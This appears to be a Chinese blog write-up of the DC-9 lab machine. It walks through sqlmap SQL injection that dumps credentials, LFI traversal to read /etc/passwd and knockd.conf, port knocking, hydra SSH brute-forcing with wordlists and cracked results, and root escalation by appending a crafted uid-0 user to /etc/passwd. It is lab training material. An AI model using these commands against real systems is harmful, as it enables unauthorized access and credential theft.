【CyberSecurityLearning 78】DC系列之DC-9渗透测试

目录

DC-9靶机渗透测试

1、信息收集

1.1 扫描开放的端口

1.2 访问WEB站点

2. SQL注入

3、admin登录后台

4、尝试文件包含

4.1 利用 LFI 查看 /etc/knockd.conf 文件内容

4.2 hydra 爆破用户名和密码

5. 登录SSH

6、提权

6.1 构造root权限用户


 

DC-9靶机渗透测试

实验环境:

kali IP:192.168.3.196/24
DC-9的MAC地址:00:50:56:34:52:EA(IP为192.18.3.198)

1、信息收集

1.1 扫描开放的端口

1.2 访问WEB站点

在 search 下表单输入内容提交发现跳转到 results.php 页面,抓包查看数据包

发现在 /results.php 进行了 POST 传参,参数为 search=1,尝试使用 sqlmap 进行爆数据

2. SQL注入

点击search,也就是在search.php页面中,输入Mary' and 1=1#Mary' and 1=2#,前者返回Mary的结果,后者为空,存在sql注入。

爆数据库:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --dbs

注意--data 选项的用法

查看当前数据库:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --current-db    (current database: 'Staff'

查看Staff数据库中的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" --tables(发现StaffDetails表和 Users表

查看Users中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" --columns(对Password和Usename字段感兴趣

查看Password和Username字段内容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" -C "Password|Username" --dump  (弹出的都选y否则爆出来的密码没解密)

 

Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)   

Username:admin      

解码后为admin:transorbital1

爆users数据库的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" --tables  (UserDetails)

查看UserDetails中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" --columns

查看password和username字段内容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" -C "password" --dump

我太傻了,直接看表不就好了:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D users -T UserDetails --dump

查看Users表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D Staff -T Users --dump

解码后为admin:transorbital1

3、admin登录后台

登入后发现有 File does not exist 字样,疑似有文件包含!!!

4、尝试文件包含

http://192.168.3.198/manage.php?file=../../../../../../etc/passwd

发现有本地文件包含(LFI)

然后接下来尝试看看有没有远程文件包含(RFI)

http://192.168.3.198/manage.php?file=http://192.168.3.90/yjh.php(在本地web根目录写一个yjh.php)

发现不允许远程文件包含!

接下来不知道怎么办了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件内容

4.1 利用 LFI 查看 /etc/knockd.conf 文件内容

knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。(将ssh隐藏了起来)
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口

knochd 服务:
在使用此服务时,他人访问你的端口会显示 close 状态,只有按照特定顺序(配置文件)访问规定端口后才会开放被访问的端口,依次访问特定端口后才会关闭被访问的端口

?file=../../../../../etc/knockd.conf

使用nmap:
nmap -p 7469,8475,9842 192.168.3.198
nmap -p 8475 192.168.3.198
nmap -p 9842 192.168.3.198

4.2 hydra 爆破用户名和密码

name.txt:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin

passwd.txt:

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1

命令:hydra -L name.txt -P passwd.txt 192.168.3.198 ssh

[22][ssh] host: 192.168.3.198   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.3.198   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.3.198   login: janitor   password: Ilovepeepee

5. 登录SSH

一个一个登录看看,有没有什么有用的东西。

ssh janitor@192.168.3.198

进去看看

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

增加在pass.txt后重新进行爆破

发现新增加了一个用户:login: fredf   password: B4-Tru3-001

使用fredf登录ssh:ssh fredf@192.168.3.198

 

6、提权

思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——行不通!)

发现 /opt/devstuff/dist/test/test 可以无需密码以 root 权限执行

思路2、查看有没有一些具有suid权限的命令

find / -perm /4000 2>/dev/null

进入/opt/devstuff目录下,看到test.py文件

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

test.py的功能是把一个文件的内容写到另一个文件中

含义:可以看到该脚本是判断参数是否为 3 个,如果是 3 个,将第二个文件中内容读出,写到第三个文件末尾)
test目录可以root权限执行:
因为我们可以以 root 权限执行该脚本,所以我们尝试构造数据进行对 /etc/passwd 进行添加

6.1 构造root权限用户

openssl passwd -1 -salt toor 123456    #构造toor用户密码为123456的hash

$1$toor$9mBAQXqhpCXpTk7V6d/kI0

构造结果:toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash

复习:

root  :  x  :  0  :  0  :  root  :  /root  :  /bin/bash
HSP   :  x  :  500  :  500  :  :  /home/HSP  :   /bin/bash
字段1:用户名称
字段2:密码占位符
字段3:用户的uid (0表示超级用户,500-60000表示普通用户,1-499表示程序用户)程序用户不允许登录系统
字段4:基本组的gid(先有组才有用户,先建立组再建立用户)
字段5:用户信息记录字段(这个字段基本上废弃了)
字段6:用户的家目录
字段7:用户登录系统后使用的命令解释器

echo 'toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash'>/tmp/toor     #将其写入/tmp/toor文件中
cd /opt/devstuff/dist/test    #进入脚本路径
sudo ./test /tmp/toor /etc/passwd    #使用脚本
su toor    #切换用户

输入密码:123456

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值